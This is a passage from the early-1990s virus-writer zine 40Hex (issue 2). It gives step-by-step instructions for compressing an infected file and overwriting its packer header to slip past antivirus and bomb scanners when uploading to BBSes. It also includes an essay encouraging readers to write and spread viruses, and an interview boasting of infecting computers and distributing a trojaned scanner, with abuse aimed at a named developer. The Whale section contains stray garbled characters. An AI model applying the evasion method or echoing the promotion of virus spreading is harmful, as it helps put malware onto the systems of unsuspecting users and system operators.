home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEXX.ZIP / 40HEX002 < prev    next >
Text File  |  1998-01-21  |  131KB  |  3,126 lines

  1. 40Hex Volume 1 Issue 2                                                   0000
  2.  
  3.  
  4. 001...............................How to sneak infected files into past SCAN.
  5. 002...............................The safe way to play with viruses.
  6. 003...............................Theory Dept.  Viruses Slow vs. Fast.
  7. 004...............................Interview of the month: Skism One.
  8. 005...............................Artical on The Dark Avenger.
  9. 006...............................The mother of all viruses - WHALE!
  10. 007...............................And now a word from a real dick.
  11. 008...............................The Ontario Virus.
  12. 009...............................The 1260 Virus.
  13. 010...............................The Skism 808 source code.
  14. 011...............................Vienna/Violator source code.
  15.  
  16.  
  17.  
  18.                               40Hex Staff
  19.  
  20.  
  21. Hellraiser....................Editor/Programming Consultant ETC...
  22. Nick Haflinger -=PHALCON=-....CO-Editor/Writer/Theory Consultant
  23. Skism One.....................Virus supply/Co-Programming Consultant
  24. The Punisher (Brooklyn).......Virus supply
  25. Garbage Heap..................Main Virus Supply/Overseer
  26. Spell Checker.................Obvoiusly there is none
  27.  
  28.  
  29. Call the 40HEX/SKISM Homebase      -----    The Landfill BBS (914)-HAK-VMBS
  30.                                             Sysop Garbage Heap.
  31.                                             Home of -=PHALCON=-
  32.  
  33.  
  34. 40Hex wants YOU - The write articles for this mag.  Lets make it world wide!
  35. Send any articles to the 40Hex HQ - The Landfill BBS!
  36.  
  37. Special shout out to - Sub-Zero (the hard core group), DC Wave, all the
  38.                        kids at school.
  39.  
  40. 40Hex Volume 1 Issue 2                                                   0001
  41.  
  42.              - HOW TO GET INFECTED FILES INTO LAME BBS's -
  43.  
  44.  
  45.     Ok, one problem with sending infected files to BBS's is that you never
  46. can tell if they will be detected by SCAN.  Or if you are sending bombs
  47. the sysop might use CHK4BOMB to detect code that is data damaging.
  48.  
  49. I'm gonna tell you how to get around this, what you need is the following-
  50.  
  51.                             PKLITE or LZEXE
  52.                                   and
  53.                            A good hex editor
  54.  
  55. What you do is this, compress the infected file with Pklite or Lzexe.  This
  56. will make change the files checksum and ID strings quite a bit so it can't
  57. be detected by SCAN and damaging data will not be found by CHK4BOMB.  The
  58. problem is that now the sysop can use CHK4LITE to detect is the file is
  59. indeed infected.   So what you do is this --
  60.  
  61. Load up the hex editior -
  62.  
  63. Now look at the file, it will look something like this if you compressed it
  64. with PKLITE.
  65.  
  66. ------------------------------------------------------------------------------
  67.  
  68. 0000  4D 5A 12 01 13 00 00 00-07 00 98 05 4A A4 52 02  MZööööööööööJöRö
  69. 0010  00 04 00 00 00 01 F0 FF-50 00 00 00 03 01 50 4B  ööööööööPöööööPK
  70. 0020  4C 49 54 45 20 43 6F 70-72 2E 20 31 39 39 30 20  LITE Copr. 1990 
  71. 0030  50 4B 57 41 52 45 20 49-6E 63 2E 20 41 6C 6C 20  PKWARE Inc. All 
  72. 0040  52 69 67 68 74 73 20 52-65 73 65 72 76 65 64 00  Rights Reservedö
  73. 0050  0A 00 20 00 17 01 48 00-4A 04 4A A4 E2 03 00 40  öö öööHöJöJöööö@
  74. 0060  00 00 56 11 00 00 1C 00-00 00 00 00 00 00 00 00  ööVööööööööööööö
  75. 0070  B8 E3 07 BA 4B 02 8C DB-03 D8 3B 1E 02 00 73 1D  ööööKööööö;ööösö
  76. 0080  83 EB 20 FA 8E D3 BC 00-02 FB 83 EB 19 8E C3 53  öö ööööööööööööS
  77. 0090  B9 C3 00 33 FF 57 BE 48-01 FC F3 A5 CB B4 09 BA  ööö3öWöHöööööööö
  78. 00A0  36 01 CD 21 CD 20 4E 6F-74 20 65 6E 6F 75 67 68  6öö!ö Not enough
  79. 00B0  20 6D 65 6D 6F 72 79 24-FD 8C DB 53 83 C3 2D 03   memory$öööSöö-ö
  80. 00C0  DA BE FE FF 8B FE 8C CD-8B C5 2B EA 8B CA D1 E1  öööööööööö+ööööö
  81.  
  82. ------------------------------------------------------------------------------
  83.  
  84. You see the header?  Well what you have to do is overwrite the header with
  85. garbage.  Don't write text cause that is to dectectable by a dump program.
  86. Just overwrite the part that says "PKLITE corp....Reserved" with hex bytes.
  87. Also distroy the part of the code that says "Not enough memory", dont kill
  88. the "$" symbol.
  89.  
  90. This will make the compressed file-
  91.  
  92. A> Undetectable to virus scanners, and CHK4BOMB type programs
  93. B> Un-Decompressable
  94. C> CHK4LITE wont notice it as a PKLITE file
  95.  
  96. It's that easy!
  97.  
  98. Keep in mind however than any file that the virus infects will no longer
  99. be encrypted by PKLITE, so this method is good only on getting your virus
  100. into the front door.
  101.  
  102. See the article in issue one on making new virus strains.
  103.  
  104.  
  105.                                 Forenote
  106.  
  107. After writing this article SCAN Version 80 came out, It now has the
  108. ability to scan into Pklite compressed files.  Just to let you know that
  109. this teqnique still works and SCAN cannot detect the file as being
  110. compressed as PKLITE.
  111.  
  112.                                                                          HR
  113. 40Hex Volume 1 Issue 2                                                   0002
  114.  
  115.                 THE SAFE WAY TO EXPERIMENT WITH VIRUSES
  116.  
  117.  
  118.    The problem with fooling around with viruses is that you never know
  119.    what damage there going to do to your hard disk.  I have a couple of
  120.    so called viruses that when run, automatically screw up the FAT on
  121.    all the disks in the system.  Well, theres a way around getting the
  122.    shaft from these programs, and also to experiment with legitament
  123.    viruses.
  124.  
  125.    The key is the DOS utitlity SUBST, make this batch file, and copy it
  126.    to a floppy.
  127.  
  128. ------------------------------------------------------------------------------
  129. @echo off
  130. subst d: a:\
  131. subst c: a:\
  132. ------------------------------------------------------------------------------
  133.  
  134.     What this will do is send any access to disks C: and D: (the two
  135.     hard disks in my case) to drive A:  So the only damage inflicted
  136.     will be to the floppy in A:
  137.  
  138.     No programs can access you hard disk when this command is issued.  I
  139.     use it all the time and as of now it has proved 100% safe.
  140.  
  141.     Oh yeah, if you dont feel like distroying a floppy every time you
  142.     mess with a virus, you can do this teqnique from a RAM disk.
  143.  
  144.     Have fun...
  145.  
  146.  
  147.  
  148.                                                                          HR
  149.  
  150. 40Hex Volume 1 Issue 2                                                   0003
  151.  
  152.  
  153. Virus Spreading - Fast Or Slow?                 By Nick Haflinger -=PHALCON=-
  154.  
  155. Call The LandFill BBS (914) Hak-Vmbs
  156. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  157.  
  158.         One of the questions while writing your virus is how quickly you want it
  159. to spread.  The easy answer is "As fast as possible" but this is not always the
  160. best answer.  If a virus moves slowly, it will take much longer before somebody
  161. notices hard drive space disappearing, he/she will notice fewer changes to the
  162. file dates, and all other symptoms will be lessened.  However, this does provide
  163. longer for anti-virus people (pronounced Scum, with a capital S) to discover the
  164. virus.  This issue ties directly into the issue of activation, short or long.
  165. Since the issues are virtually identical, I will cover both together, because
  166. they are so closely tied.
  167.  
  168.                         The Case For Fast
  169.                         =================
  170.  
  171.         Viri should spread as quickly as possible.  This allows as little time
  172. as possible for the makers of antivirus programs to come up with an antidote
  173. before the virus is widely spread.  This should be tied with a short activation
  174. period to cause as many problems as possible before detection is possible.
  175. Because fewer copies are generated before activation, each copy may be larger.
  176. This allows for more extensive anti-anti-viral tactics, which are becoming
  177. increasingly more important as the number of anti-viral products rises.  Just
  178. remember, most of these products are shit.  So don't worry too much.
  179.  
  180.                         The Case For Slow
  181.                         =================
  182.  
  183.         Viri should spread slowly, because this is less obtrusive, and therefore
  184. users are less likely to notice a change in the system.  This should be coupled
  185. with a long activation period as to have maximum penetration before the virus
  186. activates.  A slow-spreading virus will circulate to more virus programmers who
  187. will be able to modify the program for specific needs or to adapt to antiviral
  188. tactics.  On a purely academic note, slow spreading viri must be smaller, as
  189. more copies must be generated.  This means that viri must be programmed better,
  190. which is good for the general community.
  191.  
  192.                         The Case Against Fast
  193.                         =====================
  194.  
  195.         Fast spreading of viri is likely to draw attention.  Once a virus has
  196. been caught, in most of the cases, it is dead and useless.  A virus should
  197. infect the greatest area in the shortest time before the anti-virus people
  198. inevitably catch up to the virus.  However, because of the necessity of a short
  199. activation time, this virus has a lesser range than a slow-spreading virus.  The
  200. programmer must rely on either (a) the quick distribution of the virus along at
  201. least a regional level --or-- (b) the ability of other virus programmers to
  202. obtain and modify either the source code or dissassemble and modify the
  203. distributed virus.  If possible, the source should be distributed along trusted
  204. channels.  There should be as little chance as possible of an antiviral
  205. researcher obtaining a copy of the sourse for your masterpiece.
  206.  
  207.                         The Case Against Slow
  208.                         =====================
  209.  
  210.         A slow spreading virus is much more likely to get caught by antiviral
  211. people prior to its necessarily long pre-activation period.  There will be more
  212. defenses out against the virus before it has spread much.  However, if the virus
  213. is well-done, it will have spread far before it is caught.
  214.  
  215.                         Conclusion
  216.                         ==========
  217.  
  218.         Actually, I lied.  There is no conclusion to be drawn from this, as this
  219. is in itself the conclusion of long hours of thought and much brainstorming on
  220. BBSs.  If you would like to comment, I can be reached on LandFill BBS, phone
  221. number above.  In a future article, I will attempt to cover anti-anti-virus
  222. tactics.  I may also respond to some important questions/comments I may recieve.
  223. Start your viri now!  And may the best bug win!
  224.  
  225.                                                                          NH
  226. 40Hex Volume 1 Issue 2                                                   0004
  227.  
  228.            Interview with Skism One - AKA Lord SSS (triple S)
  229.  
  230.     This interview was taken by Hellraiser on July 7, 1991 in Washington
  231.     Square Park, Manhatten.
  232.  
  233.     HR:  So what got you started in the virus business?
  234.  
  235.     SSS: Well, I used to write graffiti all over and that got sort of
  236.          played out, so I needed something else distructive to do.  So
  237.          I started getting into computers, then the next thing you know
  238.          I'm writing viruses.
  239.  
  240.     HR:  What was you first experence with viruses?
  241.  
  242.     SSS: Well the first time I heard of them was when that dickhead got
  243.          arrested for putting the worm...
  244.  
  245.     HR:  You mean Morris?
  246.  
  247.     SSS: Yeah that asshole, it was on the news and all that - so I got
  248.          to thinking, that would be a cool thing to do.
  249.  
  250.     HR:  What was the first virus you ran across?
  251.  
  252.     SSS: Ha... Some dick gave me a copy of (pause) it think it was
  253.          Norton 4.0 when it first came out.  So I took it home and put
  254.          it on my hard drive.  The next thing you know all this weird
  255.          shit starts going on.  Like programs won't run and this little
  256.          box opens up on the bottom of my screen all of a sudden.  So I
  257.          get a copy of SCAN, then I find out almost all my files are
  258.          infected with Jerusalem.
  259.  
  260.     HR:  What did you do?
  261.  
  262.     SSS: Well I re-formatted the drive and examined the copy of Jeru for
  263.          months.  Then one day I used a Hex editor to change the suMSDOs
  264.          string to SKISM-1.  Then I went to all the computers I could
  265.          find and infected them.  The next thing you know my friend
  266.          shows me this list with my name on it.  It was Patti Hoffmans
  267.          document.  Shit, I thought I was the man back then.
  268.  
  269.     HR:  Then what?
  270.  
  271.     SSS: Then - well I got into assembler and dissasembly and I started
  272.          to learn how to modify the code and all that.  The next thing
  273.          you know I had made my own virus from the scraps of Jeru.
  274.  
  275.     HR:  Captian Trips, right?
  276.  
  277.     SSS: Yeah, sort of.  Then someone I know sent it to all the boards
  278.          in town under a trojan name and fucked a lot of peoples shit
  279.          up.  Oh well.  Then I guess I grew out of the scavenger mode
  280.          and started writting my own shit, from scratch. 
  281.  
  282.     HR:  Like what?
  283.  
  284.     SSS: Well they were all called Skism so and so, like Skism 10, Skism
  285.          11 and all that.  Then I meet people and they started helping
  286.          me out and now we got this thing going on.
  287.  
  288.     HR:  You mean Smart Kids Into Sick Methods?
  289.  
  290.     SSS: Yeah, you know all thid did did dat.
  291.  
  292.     HR:  How do you name your viruses?
  293.  
  294.     SSS: Well depends whats on my mind.  Skism was my tag for like four 
  295.          years, so I thought it would be cool if people saw my name in 
  296.          the newspaper and all that.  I got Captian Trips after reading 
  297.          The Stand, by Stephen King.  1992 was just what I named it cause 
  298.          the virus came out to be about 1945 bytes so I jusy padded it out
  299.          to next years date.  808 was named after the TR-808, a 'drum
  300.          machine' used in hip-hop.
  301.  
  302.     HR:  Whats the latest projects?
  303.  
  304.     SSS: You know, you wrote most of the shit.
  305.  
  306.     HR:  Tell them.  The people.
  307.  
  308.     SSS: Well, we did SKISM 1992, which was funny, then a member of
  309.          SKISM, who shall be nameless made 808.  Now I'm just taking a
  310.          break from viruses and computers for the summer.
  311.  
  312.     HR:  You stopped?
  313.  
  314.     SSS: Your crazy, nah - It's got to wait a while, then I'll get back
  315.          into it - when school starts again.
  316.  
  317.     HR:  What do you think of McAffe?
  318.  
  319.     SSS: He's cool, what the fuck am supposed to say.  He does a good
  320.          job at spreading my name around.  I really like Pat Hoffman,
  321.          thanks for the write ups.  You got to understand - these people
  322.          make us into infamous villians.  I can deal with that.
  323.  
  324.     HR:  Do you mind them detecting your viruses?
  325.  
  326.     SSS: Nah, fuck it - If my shit can make it from NY to California
  327.          without effort, it shows it works.  Thats it.  Thers a lot more
  328.          where that came from.  One more thing, I hate that gay bitch
  329.          Ross Greenburg author of Flu-Shot.  What
  330.          a dick.  He's just an asshole tring to sell his shit product.
  331.          He's got a big mouth and instead of crashing his board, I'd
  332.          like to kick his fucken ass.  Where's his office?  Up one 57th
  333.          right?  Lets take a walk.  Just kiddin' but the guys product
  334.          sucks and he's just a greedy asshole.  I'm glad I sent a trojan
  335.          version of his virus scanner around. Ha you dick!
  336.  
  337.     HR:  What virus authors do you look up to?
  338.  
  339.     SSS: Myself - Ha Ha (laughter) Ha Ha.  No, I love Whale - that was
  340.          clever.  I like Dark Avenger, the real one.  Its hard to be
  341.          original, and these guys were.  Hats off you crazy fuckin'
  342.          Bulgarian Metal-Head!
  343.  
  344.     HR:  What about groups of virus writers?
  345.  
  346.     SSS: I think were the only one.  Oh yeah and those Rabid people you
  347.          told me about, yeah there just like us - people tring to make
  348.          there mark in the world, or should I say dent in the world.
  349.          Germans are bugging out too - Shit, they write half the shit out
  350.          there these days.  More power to them
  351.  
  352.     HR:  What is your advise to people who want to write viruses?
  353.  
  354.     SSS: Get a late pass!  No as I said more power to you. Just remember
  355.          you got to have style and learn to be ORIGINAL.
  356.  
  357.     HR:  What next from you?
  358.  
  359.     SSS: I don't really know.  I'm waiting to hook up a few more people
  360.          to the pack, then we'll get the thing rollin HARD.  Till then
  361.          'A little at a time...'
  362.                                                                         
  363.  
  364.     At the time this artical was finished, the Skism team was at work on
  365.     a new virus code named Bad Brains.
  366.  
  367.                                                                         HR
  368. 40Hex Volume 1 Issue 2                                                   0005
  369.  
  370.  
  371.  
  372.  
  373.  
  374.                        The Dark Avenger
  375.                        --- ---- -------
  376. Part I.  The Dark Avenger
  377. -------------------------
  378.  
  379. Introduction:
  380.  
  381. The following text file was sent directly to Professor
  382. Vesselin Bontchev in a public sent to an anti-viral board
  383. located in Sofia, Bulgaria.
  384.  
  385. Bontchev is one of the leading anti-viral researchers in
  386. Europe today.  A producer of number of effective anti-viral
  387. programs in Bulgaria, his programs are widely used throughout
  388. Europe.
  389.  
  390. The Dark Avenger is Bulgaria's most dangerous viral code
  391. writer and a heavy metal fanatic - as this message concerning
  392. himself, written by him (often referring to himself in third
  393. person) reveals:
  394.  
  395. ----------------
  396.  
  397.   DARK AVENGER
  398.   ============
  399.  
  400.   DARK AVENGER is the pseudonym used by a particularly prolific and
  401.   malicious Bulgarian virus writer. It is also the name given in the
  402.   West to some of his earlier viruses. His viruses include:
  403.  
  404.   DARK AVENGER V651, V1800, V2000 and V2100
  405.  
  406.   NUMBER OF THE BEAST aka 512 (several versions)
  407.  
  408.   ANTHRAX (Infects both files and boot sectors)
  409.  
  410.   V800 and its derivatives: 1226, PROUD, EVIL & PHOENIX
  411.  
  412.   Some other viruses, e.g. NOMENKLATURA & DIAMOND are in his style but
  413.   are believed to be the work of others. MURPHY has been strongly
  414.   influenced by him but is known to be of different authorship.
  415.   CRAZY EDDIE may also be his.
  416.  
  417.   Several 'hacks' are now appearing of V1800, V2100, MURPHY and
  418.   DIAMOND.
  419.  
  420.                ************* more **********
  421.  
  422.   Eddie is the mascot of the British heavy metal group, Iron Maiden
  423.   (hence 'up the irons'). It is a 20 foot high skeleton that appears
  424.   on stage with them and is featured on the sleeves of all their
  425.   albums.
  426.  
  427.   Anthrax and Damage Inc are other heavy metal groups whose names have
  428.   been featured in some Dark Avenger viruses. Iron Maiden numbers have
  429.   also been mentioned including 'Somewhere in Time', 'Only the Good Die
  430.   Young' and 'Number of the Beast'.
  431.  
  432.                 **************  more  **********
  433.  
  434.   Unusually, this virus writer has also produced a virus removal
  435.   program together with a version log of his EDDIE series, as
  436.   reproduced below with its original spelling and grammar.
  437.  
  438.   "DOCTOR   QUICK!   Virus Doctor for the Eddie Virus   Version 2.01
  439.   10-31-89 Copyright (c) 1988-89 Dark Avenger.  All rights reserved.
  440.   DOCTOR /? for help
  441.  
  442.   It may be of interest to you to know that Eddie (also known as "Dark
  443.   Avenger") is the most widespread virus in Bulgaria for the time
  444.   being.  However I have information that Eddie is well known in the
  445.   USA, West Germany and USSR too.
  446.  
  447.   I started in writing the virus in early September 1988. In those
  448.   times there were no any viruses in Bulgaria, so I decided to write
  449.   the first Bulgarian virus.  There were some different Eddie's
  450.   versions:
  451.  
  452.   VERSION 1.1, 16-DEC-1988
  453.  
  454.   In December I've decided to enhance the virus.  This version could
  455.   infect files during their opening.  For that reason, a read buffer
  456.   was allocated in high end of memory, rather than using DOS function
  457.   48h when needed.  The disk was destroyed instead of the infected
  458.   files.
  459.  
  460.   VERSION 1.2, 19-DEC-1988
  461.  
  462.   This added a new feature that causes (for example) compiled programs
  463.   to be infected at once if the virus is resident.  Also, the "Eddie
  464.   lives..." message was added (can you guess why exactly "Eddie"?)
  465.  
  466.   VERSION 1.31, 3-JAN-1989
  467.  
  468.   This became the most common version of Eddie. A code was added to
  469.   find the INT 13 rom-vector on many popular XT's and AT's.  Also,
  470.   other messages were added so its length would be exactly 1800 bytes.
  471.   There was a subsequent, 1.32 version (19-JAN-1989), which added
  472.   self-checksum and other interesting features that was abandoned
  473.   because it was extremely buggy.
  474.  
  475.   In early March 1989 version 1.31 was called into existence and
  476.   started to live its own life to all engineers' and other suckers'
  477.   terror.  And, the last
  478.  
  479.   VERSION 1.4, 17-OCT-1989
  480.  
  481.   This was a bugfix for version 1.31, and added some interesting new
  482.   features.  Support has been added for DOS 2.x and DOS 4.x.  For
  483.   further information about this (the most terrible) version, and to
  484.   learn how to find out a program author by its code, or why
  485.   virus-writers are still not dead, contact Mr. Vesselin Bontchev (All
  486.   Rights Reserved).
  487.  
  488.   So, never say die!  Eddie lives on and on and on...  Up the irons!"
  489.  
  490.   NOTE:
  491.   Vesselin Bontchev, who the Dark Avenger is trying to discredit, is a
  492.   leading virus researcher at the Bulgarian Academy of Sciences.
  493.  
  494.  
  495. Post Note:
  496.  
  497. There is a rumor concerning the fact that RABID now has
  498. the Dark Avenger on their staff of virus writers, and that
  499. the new Dark Avenger variant released by them was, in fact,
  500. written by him.  This has yet to be proven.
  501.  
  502. The more acceptable belief concerning this new strain
  503. is that RABID simply picked up the source code for Dark Avenger,
  504. released last December, and modified it.
  505.  
  506. Part II - Dark Avenger - Strain A
  507.           -----------------------
  508.  
  509. Vesselin Bontchev reports in May 1990:
  510.  
  511. The Dark Avenger virus.
  512. ======================
  513.  
  514. - I found two new mutations of this virus. Well, maybe
  515.   "mutations" is not the correct word. In the first of them, the
  516.   first 16 characters of the string "Eddie lives...  somewhere in
  517.   time!" were replaced with blanks.
  518.  
  519. In the second example, all strings (the message above, the
  520. copyright message and the "Diana P."  string) were replaced with
  521. blanks.  - The author of the Dark Avenger virus (The bastard!  I
  522. still cannot determine who he is.) has released the source code
  523. of his virus.
  524.  
  525. It is full with ironic comments about me.  Of course, now we have
  526. to expect lots of new, similar viruses to appear.  At least, this
  527. leaded to one good thing - the source helped me very much in
  528. disassembling the V2000 virus.  - I received a rather offensive
  529. anonymous letter from this person.  In it he claims to be also
  530. the author of both the V2000 (I trust this) and the Number of the
  531. Beast viruses (the latter is unlikely).  [See Above]
  532.  
  533.  
  534. Information About the Dark Avenger Virus, courtesy of
  535. "Virus Bulletin Ltd," Buckinghamshire, England.
  536.  
  537. Note:
  538.  
  539. This information is far more valuable than the standard
  540. Virus Summary by Patricia Hoffman.  Her entry concerning DA
  541. fails to go into more depth about the Dark Avenger virus and
  542. apparently she has yet to receive information of the
  543. different versions of DA.  Such information is already a year
  544. old, but she has yet to include it.
  545.  
  546. Entry...............: Dark Avenger
  547. Alias(es)...........: ---
  548. Virus Strain........: Dark Avenger
  549. Virus detected when.: November 1989
  550.               where.: USA
  551. Classification......: February 1990
  552. Length of Virus.....: about 1800 Bytes
  553. --------------------- Preconditions -----------------------------------
  554. Operating System(s).: DOS
  555. Version/Release.....:
  556. Computer model(s)...: IBM-compatible
  557. --------------------- Attributes --------------------------------------
  558. Easy Identification.: Two Texts:
  559.                       "Eddie lives...somewhere in time" at beginning
  560.                       and
  561.                       "This Program was written in the City of Sofia
  562.                       (C) 1988-89 Dark Avenger" near end of file
  563.  
  564. Type of infection...: Link-virus
  565.                       COM-files: appends to the program and installs a
  566.                                  short jump
  567.                       EXE-files: appends to the program at the
  568.                                  beginning of the next paragraph
  569.  
  570. Infection Trigger...: COM and EXE files are corrupted on any read
  571.                       attempt even when VIEWING!!!
  572.  
  573. Storage media affected: Any Drive
  574.  
  575. Interrupts hooked...: Int 21 DOS-services
  576.                       Int 27 Terminate and Stay Resident
  577.  
  578. Damage..............: Overwrites a random sector with bootblock
  579.  
  580. Damage Trigger......: each 16th infection; counter located in
  581.                       Bootblock
  582.  
  583. Particularities.....: -
  584.  
  585. Similarities........: -
  586.  
  587.  
  588. --------------------- Agents ------------------------------------------
  589.  
  590. Countermeasures.....: NONE! All data can be destroyed !!!!
  591.                       There is no way in retrieving lost data.
  592.                       Backups will most probably be destroyed too.
  593.  
  594. Countermeasures successful: install McAfee's SCANRES.
  595.  
  596. Standard means......: Good luck! Hopefully the virus did not destroy
  597.                       too many of your programs and data.
  598.  
  599. --------------------- Acknowledgement ---------------------------------
  600. Location............: VTC Uni Hamburg
  601. Classification by...: Matthias Jaenichen
  602. Documentation by....: Matthias Jaenichen
  603. Date................: 31.01.1990
  604.  
  605. Part III - DARK AVENGER 2000
  606.            =================
  607.  
  608.  Date:    02 Feb 90 10:49:00 +0700
  609.  From:    Vesselin Bontchev
  610.  
  611.   This virus is also "made in Bulgaria" and again I am indirectly the
  612.   cause of its creation.  I am a well known "virus-buster" in Bulgaria
  613.   and my antivirus programs are very widely used.  Of course, virus
  614.   designers didn't like it.  So their next creation...  causes trouble
  615.   to my antivirus programs.
  616.  
  617.   This virus is exactly 2000 bytes long and I think that it was
  618.   created by the author of the Eddie (Dark Avenger) virus.  The
  619.   programming style is the same and there are even pieces of code
  620.   which are the same.
  621.  
  622.   The virus acts much like the Eddie one --- it installs resident in
  623.   memory by manipulating the memory control blocks; infects
  624.   COMMAND.COM at the first run; infects both .COM- and .EXE-files;
  625.   infects files when one executes them as well as when one copies
  626.   them.
  627.  
  628.   However, there are some extras added.  First, the virus is able to
  629.   fetch the original INT 13h vector just like the V512 one (by using
  630.   the same undocumented function --- tricks spread fast between virus
  631.   programmers).
  632.  
  633.   Second, it intercepts the find-first (FCB) and find-next (FCB)
  634.   functions --- just like V651 (aka EDDIE II) (and contains the same
  635.   bugs), so you won't see the increased file lengths in the listing
  636.   displayed by the DIR command.
  637.  
  638.    Third, it contains the string "Copyright (C) 1989 by Vesselin
  639.    Bontchev", so people may think that I am the author of this virus.
  640.    In fact, the virus searches every program being executed for this
  641.    string (the case of the letters does not matter) and if found,
  642.    hangs the system.  It is not necessary to tell you that all my
  643.    antivirus programs contain this string.  Of course, now I will have
  644.    to use some kind of encryption, just to prevent such tricks.
  645.  
  646.   Vesselin Bontchev reported in May 1990:
  647.  
  648.   The V2000 virus (DARK AVENGER 2000)
  649.   ===================================
  650.  
  651. - It turned out that the example of this virus I sent to some of
  652. the antivirus researchers was not the original version.  The
  653. original contains the string "Only the Good die young..."
  654. instead of the "Copy me - I want to travel" message.  Also a
  655. small piece of code in the original version was patched to
  656. contain the "666" string. (That is, the version you have contains
  657. this string, the original does not.)
  658.  
  659. - There exists also a small mutation of the version you have.
  660. The only difference is that the `C' character in the word "Copy"
  661. was changed to `Z'.
  662.  
  663. - When describing the V2000 virus, I stated that it halts the
  664. computer if you run a program which contains the string
  665. "Copyright (c) 1989 by Vesselin Bontchev". This is not quite
  666. correct. In fact, the programs are only checked for the "Vesselin
  667. Bontchev" part of the string.
  668.  
  669. - I obtained John McAfee's program Clean, version 60.  In the
  670. accompanying documentation he states about the V2000 virus that
  671. "The virus is very virulent and has caused system crashes and
  672. lost data, as well as causing some systems to become non-bootable
  673. after infection".  This is not very correct, or at least, there
  674. is much more to be said.  The virus is exactly as virulent as the
  675. Dark Avenger virus, and for the same reason.  It infects files
  676. not only when one executes them, but also when one reads or
  677. copies them. This is achieved exactly in the same manner as in
  678. the Dark Avenger.  The systems become non-bootable when the virus
  679. infects the two hidden files of the operating system - it cannot
  680. distinguish them from the regular .COM files.  By the way, the
  681. Dark Avenger virus often causes the same effect.  And at last,
  682. but not least (:-)), the virus is highly destructive - just as
  683. the Dark Avenger is.  It destroys the information on a randomly
  684. selected sector on the disk once in every 16 runs of an infected
  685. program. The random function is exactly the same, and the
  686. counters (0 to 15 and for the last attacked sector) are exactly
  687. the same and on the same offsets in the boot sector as with the
  688. Dark Avenger virus.  The main difference is that the destroyed
  689. sector is overwritten not with a part of the virus body, but with
  690. the boot sector instead.  This makes a bit more difficult to
  691. discover which files are destroyed - the boot sector is contained
  692. in many "good" programs, such as FORMAT, SYS, NDD.  Also, the
  693. nastiest thing - the damage function is not performed via INT 26h
  694. (which can be intercepted).  The virus determines the address of
  695. the device driver for the respective disk unit (using an
  696. undocumented DOS function call, of course.  I begin to wonder if
  697. Ralf Brown did any good when he made the information in the
  698. INTERxyy file available :-)).  Then it performs a direct call to
  699. that address.  The device driver in DOS does its work and issues
  700. the appropriate INT 13h.  However the virus has scanned the
  701. controllers' ROM space and has determined the original address of
  702. the interrupt handler - just as the Dark Avenger virus does.
  703. Then it has temporary replaced the INT 13h vector with the
  704. address of this handler.  The result is that the damage function
  705. cannot be intercepted.
  706.  
  707. - Also this virus (unlike Dark Avenger) supports PC-DOS version
  708. 4.0 and will work (and infect) under it.
  709.  
  710. - The bytes 84 A8 A0 AD A0 20 8F 2E in the virus body are the
  711. name "Diana P.", this time written in cyrillics.
  712.  
  713.                                                            Unknown Source
  714.  
  715.  
  716. 40Hex Volume 1 Issue 2                                                   0006
  717.  
  718.  
  719.                             The Whale Virus
  720.  
  721.  
  722.      Oh yes here it is, the biggest and meanest virus around.  First
  723.      before you go and compile it read what Patti thinks of it.
  724.  
  725.  
  726.  Aliases:     Mother Fish, Stealth Virus, Z The Whale
  727.  V Status:    Research
  728.  Discovered:  August, 1990
  729.  Symptoms:    .COM & .EXE growth; decrease in available memory;
  730.               system slowdown; video flicker; slow screen writes;
  731.               file allocation errors; simulated system reboot
  732.  Origin:      Hamburg, West Germany
  733.  Eff Length:  9,216 Bytes
  734.  Type Code:   PRhA - Parasitic Resident .COM & .EXE Infector
  735.  Detection Method: ViruScan V67+, Pro-Scan 2.01+, NAV, IBM Scan 2.00+
  736.  Removal Instructions:  Scan/D, CleanUp V67+, Pro-Scan 2.01+,
  737.               or Delete infected files
  738.  General Comments:
  739.        The Whale Virus was submitted in early September, 1990.  This virus
  740.        had been rumored to exist since the isolation of the Fish 6 Virus in
  741.        June, 1990.  It has been referred to by several names besides Whale,
  742.        including Mother Fish and Z The Whale.  The origin of this virus is
  743.        subject to some speculation, though it is probably from Hamburg,
  744.        West Germany due to a reference within the viral code once it is0*0*0*ùù╒ε       decrypted.
  745.  
  746.        The first time a program infected with the Whale Virus is executed,
  747.        the Whale will install itself memory resident in high system memory
  748.        but below the 640K DOS boundary.  On the author's XT clone, the
  749.        virus always starts at address 9D90.  Available free memory will
  750.        be decreased by 9,984 bytes.  Most utilities which display memory
  751.        usage will also indicate a value for total system memory which is
  752.        9,984 bytes less than what is actually installed.
  753.  
  754.        The following text string can be found in memory on systems
  755.        infected with the Whale virus:
  756.  
  757.               "Z THE WHALE".
  758.  
  759.        Immediately upon becoming memory resident, the system user will
  760.        experience the system slowing down.  Noticeable effects of the
  761.        system slowdown include video flicker to extremely slow screen
  762.        writes.  Some programs may appear to "hang", though they will
  763.        eventually execute properly in most cases since the "hang" is due
  764.        to the slowing of the system.
  765.  
  766.        When a program is executed with the Whale memory resident, the virus
  767.        will infect the program.  Infected programs increase in length, the
  768.        actual change in length is usually 9,216 bytes.  Note the "usually":
  769.        this virus does occasionally infect a program with a "mutant" which
  770.        will be a different length.  If the file length increase is exactly
  771.        9,216 bytes, the Whale will hide the change in file length when a
  772.        disk directory command is executed.  If the file length of the viral
  773.        code added to the program is other than 9,216 bytes, the file length
  774.        displayed with the directory command will either the actual infected
  775.        file length, or the actual infected file length minus 9,216 bytes.
  776.  
  777.        Executing the DOS CHKDSK program on infected systems will result in
  778.        file allocation errors being reported.  If CHKDSK /F is executed,
  779.        file damage will result.
  780.  
  781.        The Whale also alters the program's date/time in the directory when
  782.        the file is executed, though it is not set to the system date/time
  783.        of infection.  Occasionally, Whale will alter the directory entry
  784.        for the program it is infecting improperly, resulting in the directory
  785.        entry becoming invalid.  These programs with invalid directory
  786.        entries will appear when the directory is listed, but some disk
  787.        utilities will not allow access to the program.  In these cases, the
  788.        directory entry can be fixed with Norton Utilities FD command to
  789.        reset the file date.
  790.  
  791.        The Whale occasionally will change its behavior while it is memory
  792.        resident.  While most of the time it only infects files when
  793.        executed, there are periods of time when it will infect any file
  794.        opened for any reason.  It will also, at times, disinfect files
  795.        when they are copied with the DOS copy command, at other times it
  796.        will not "disinfect on the fly".
  797.        Occasionally, the Whale Virus will simulate what appears to be a
